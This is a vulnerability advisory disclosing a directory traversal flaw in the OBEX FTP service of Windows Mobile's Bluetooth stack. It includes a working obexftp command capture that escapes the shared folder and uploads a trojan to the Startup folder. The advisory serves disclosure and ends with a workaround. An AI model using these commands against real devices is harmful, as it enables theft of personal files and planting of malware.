Microsoft Bluetooth Stack OBEX Directory Traversal

[alberto.morenot () gmail com]

Title: Microsoft Bluetooth Stack OBEX Directory Traversal
Author: Alberto Moreno Tablado
Vendor: Microsoft
Product: Windows Mobile 6 Professional (Probably Windows Mobile 5.0 for Pocket PC and Windows Mobile 5.0 for Pocket PC 
Phone Edition)
References: 
http://www.seguridadmobile.com/windows-mobile/windows-mobile-security/Microsoft-Bluetooth-Stack-Directory-Traversal.html

Description:
Most Windows Mobile 5.0 & 6 devices are shipped with Microsoft Bluetooth stack, only few of them use others like 
Widcomm Bluetooth stack. Among all the Bluetooth services that may be implemented in the stack, OBEX FTP is the most 
common service.

OBEX FTP Bluetooth service can be used to share files through Bluetooth, not only by sending files but also by allowing 
remote devices to browse local shared folders and download files. Usually, the service is configured in such a way that 
a specific directory is shared and the user can place there all the files he would like to share with other people. The 
default directory is My Device\My Documents\Bluetooth Share. A different directory may be selected by the user, however 
the Bluetooth wizard usually doesn't allow specifying any other from the filesystem out of My Device\My Documents\ or 
Memory Card\My Documents\ paths. This is because of safety reasons, so the user can't expose sensitive files or 
information through Bluetooth.

There exists a Directory Traversal vulnerability in the OBEX FTP Service in Microsoft Bluetooth Stack implemented in 
Windows Mobile 5.0 & 6 devices. A remote attacker (who previously owned authentication and authorization rights) can 
use tools like ObexFTP to traverse to parent directories out of the default Bluetooth shared folder. This means the 
attacker can browse folders located on a lower level, download files contained in those folders as well as upload files 
to those folders.

The only requirement is that the attacker must have authentication and authorization privileges over the OBEX FTP 
service. Pairing up with the remote Windows Mobile device should be enough to get it. In case the attacker succeeded in 
getting the proper privileges, further actions will be transparent to the user.

As described above, the attacker can take three risky actions:

- Browse directories located out of the limits of the default shared folder and discover sensitive information about 
the structure of the filesystem.

- Download sensitive files located anywhere in the filesystem, such as personal pictures and documents, emails located 
in \Windows\Messaging or Contacts+Calendar+Tasks information included in \PIM.vol.

- Upload dangerous files like trojans to any place in the filesystem, such as \Windows\Startup.

In the following capture, the attacker firstly lists the default Bluetooth shared folder. After that, the attacker puts 
a trojan.exe file in the \Windows\Startup folder.

gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Receiving "(null)"... <?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
  <parent-folder name="" />
  <file name="fotaca.jpg" created="20090119T173932Z" size="134680"/>
  <file name="nota.pwi" created="20090119T175242Z" size="432"/>
</folder-listing>
done
Disconnecting...done
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -c "..\\..\\Windows\\Startup\\" -p trojan.exe
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Sending "..\..\Windows\Inicio\"... done
Sending "trojan.exe"...\done
Disconnecting...done
gospel@gospel-shift:~/bluez$ 

The trojan file will be executed the next time Windows Mobile inits.

Workaround:
Do not accept pairing nor connection requests from unknown sources. Delete old entries in the paired devices list. Wait 
for proper vendor response and updates.